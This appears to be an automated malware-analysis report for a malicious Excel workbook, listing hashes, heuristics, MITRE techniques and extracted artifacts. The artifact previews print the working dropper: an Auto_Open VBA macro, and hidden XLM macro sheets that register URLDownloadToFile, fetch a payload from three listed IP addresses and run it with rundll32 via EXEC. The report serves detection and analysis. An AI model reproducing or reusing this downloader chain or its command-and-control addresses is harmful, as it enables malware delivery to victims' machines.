Office (OOXML) malware analysis — malicious · 8035f53c59c23e3b

MALICIOUS

Office (OOXML)

110.5 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-22

MD5: 3f8985e0d1aebe6ad835afc81cd60d4e SHA-1: 47e857aeaa438cb4a818d087a748f1c3bbec6dee SHA-256: 8035f53c59c23e3bdf15172e87754a61ff5faff4a730b9fb00860b00aa6b5fdc

190 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The sample is an Excel document containing both VBA and Excel 4.0 macros. The critical heuristics indicate the use of dangerous XLM formula APIs like CALL, REGISTER, and EXEC, which are commonly used to download and execute payloads. The Auto_Open macro in the VBA project likely triggers the execution of these dangerous XLM functions. The embedded URLs are highly suspicious and likely serve as the source for the second-stage payload.

Heuristics 6

Excel 4.0 macro sheet (2 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Dangerous XLM formula APIs: HALT, REGISTER, GOTO, EXEC critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
VBA project inside OOXML medium 1 related finding OOXML_VBA

Document contains a VBA project — VBA macros present
Auto_Open macro high OLE_VBA_AUTO

Auto_Open macro
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET

Excel workbook contains 2 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://195.123.235.1/ In document text (OOXML body / shared strings)
- http://45.67.230.159/In document text (OOXML body / shared strings)
- http://51.195.38.32/In document text (OOXML body / shared strings)
- http://195.123.235.1/44313,6048108796.datIn document text (OOXML body / shared strings)
- http://45.67.230.159/44313,6048108796.datIn document text (OOXML body / shared strings)
- http://51.195.38.32/44313,6048108796.datIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 4

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	15792 bytes
SHA-256: `6e35115a0b63947d5914d351f8de7764c2453fb6349171fc2ca7dfb17b6dac05`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ЭтаКнига" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Лист1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "dfgbfdg" Private Sub Auto_Open() Application.Run Sheets("Klof").Range("AJ6") Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMaximized Application.WindowState = xlMax ... (truncated)
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	26112 bytes
SHA-256: `2b3f1633d02c099a6f30769c4961e5ea6d4184083c29bb8c5109aa9a82773a2f`
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet1.xml	4725 bytes
SHA-256: `7716a3eb3a27a54de9de01718a02a6d229ccdf0f1eb50cc2e3f6adaf9546ea16`
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{0131C73D-C3C0-4C7F-B61C-5AFDDB7835F8}"><dimension ref="AC92:AL111"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="13.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="27" width="13.5703125" style="1"/><col min="28" max="28" width="13.5703125" style="1" customWidth="1"/><col min="29" max="30" width="13.5703125" style="1" hidden="1" customWidth="1"/><col min="31" max="31" width="32.85546875" style="1" hidden="1" customWidth="1"/><col min="32" max="33" width="13.5703125" style="1" hidden="1" customWidth="1"/><col min="34" max="34" width="19.5703125" style="1" hidden="1" customWidth="1"/><col min="35" max="35" width="13.5703125" style="1" hidden="1" customWidth="1"/><col min="36" max="36" width="23.5703125" style="1" hidden="1" customWidth="1"/><col min="37" max="38" width="13.5703125" style="1" hidden="1" customWidth="1"/><col min="39" max="39" width="21.42578125" style="1" bestFit="1" customWidth="1"/><col min="40" max="16384" width="13.5703125" style="1"/></cols><sheetData><row r="92" spans="33:36" x14ac:dyDescent="0.25"><c r="AI92" s="1"><v>1</v></c></row><row r="93" spans="33:36" x14ac:dyDescent="0.25"><c r="AI93" s="1"><v>9</v></c></row><row r="94" spans="33:36" x14ac:dyDescent="0.25"><c r="AJ94" s="1" t="b"><f>ON.TIME(NOW()+"00:00:02","JEIUYUITRYF")</f><v>0</v></c></row><row r="95" spans="33:36" x14ac:dyDescent="0.25"><c r="AG95" s="1" t="str"><f>CONCATENATE(AG101,AH95,AG99,AG100)</f><v>http://195.123.235.1/44313,6048108796.dat</v></c><c r="AH95" s="1"><f>NOW()</f><v>44313.604810879631</v></c></row><row r="96" spans="33:36" x14ac:dyDescent="0.25"><c r="AG96" s="1" t="str"><f>CONCATENATE(AG102,AH95,AG99,AG100)</f><v>http://45.67.230.159/44313,6048108796.dat</v></c></row><row r="97" spans="31:36" x14ac:dyDescent="0.25"><c r="AG97" s="1" t="str"><f>CONCATENATE(AG103,AH95,AG99,AG100)</f><v>http://51.195.38.32/44313,6048108796.dat</v></c><c r="AJ97" s="1" t="b"><f>HALT()</f><v>0</v></c></row><row r="98" spans="31:36" x14ac:dyDescent="0.25"><c r="AH98" s="1"><f>CONCATENATE(AG106,AG107)</f><v>0</v></c></row><row r="99" spans="31:36" x14ac:dyDescent="0.25"><c r="AG99" s="1" t="s"><v>0</v></c><c r="AI99" s="1" t="str"><f>"uRlMon"</f><v>uRlMon</v></c></row><row r="100" spans="31:36" x14ac:dyDescent="0.25"><c r="AG100" s="1" t="s"><v>1</v></c></row><row r="101" spans="31:36" x14ac:dyDescent="0.25"><c r="AG101" s="1" t="s"><v>4</v></c><c r="AI101" s="1" t="str"><f>"JJCCBB"</f><v>JJCCBB</v></c></row><row r="102" spans="31:36" x14ac:dyDescent="0.25"><c r="AG102" s="1" t="s"><v>5</v></c><c r="AI102" s="1" t="s"><v>2</v></c></row><row r="103" spans="31:36" x14ac:dyDescent="0.25"><c r="AG103" s="1" t="s"><v>6</v></c></row><row r="104" spans="31:36" x14ac:dyDescent="0.25"><c r="AE104" s="1" t="b"><f>REGISTER(AI99,AH98,AI101,AI102,,1,9)</f><v>0</v></c><c r="AH104" s="1" t="e"><f>GOTO(AE103)</f><v>#N/A</v></c></row><row r="105" spans="31:36" x14ac:dyDescent="0.25"><c r="AE105" s="1" t="e"><f>Belandes(0,AG95,AI105,0,0)</f><v>#NAME?</v></c><c r="AI105" s="1" t="s"><v>3</v></c></row><row r="106" spans="31:36" x14ac:dyDescent="0.25"><c r="AE106" s="1" t="e"><f>IF(AE105<0, Belandes(0,AG96,AI105,0,0))</f><v>#NAME?</v></c><c r="AG106" s="1" t="str"><f>"URLDow"</f><v>URLDow</v></c></row><row r=" ... (truncated)
`xlm_sheet_01.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet2.xml	2004 bytes
SHA-256: `efa863078546591f10559e7ec4775260a2b46f2ed03bb71ea70b51048ee05558`
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{0735C71A-62B4-499F-9DD8-467063A6E5C3}"><dimension ref="H7:I20"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="6" width="9.140625" style="1"/><col min="7" max="7" width="9.140625" style="1" customWidth="1"/><col min="8" max="8" width="9.85546875" style="1" customWidth="1"/><col min="9" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="7" spans="8:9" x14ac:dyDescent="0.25"><c r="I7" s="1" t="str"><f>"r"</f><v>r</v></c></row><row r="9" spans="8:9" x14ac:dyDescent="0.25"><c r="I9" s="1" t="str"><f>"undll32 ..\Nuydar.veryrf,DllReg"</f><v>undll32 ..\Nuydar.veryrf,DllReg</v></c></row><row r="10" spans="8:9" x14ac:dyDescent="0.25"><c r="I10" s="1" t="str"><f>"isterServer"</f><v>isterServer</v></c></row><row r="16" spans="8:9" x14ac:dyDescent="0.25"><c r="H16" s="1" t="b"><f>EXEC(I7&I9&I10)</f><v>0</v></c></row><row r="20" spans="8:8" x14ac:dyDescent="0.25"><c r="H20" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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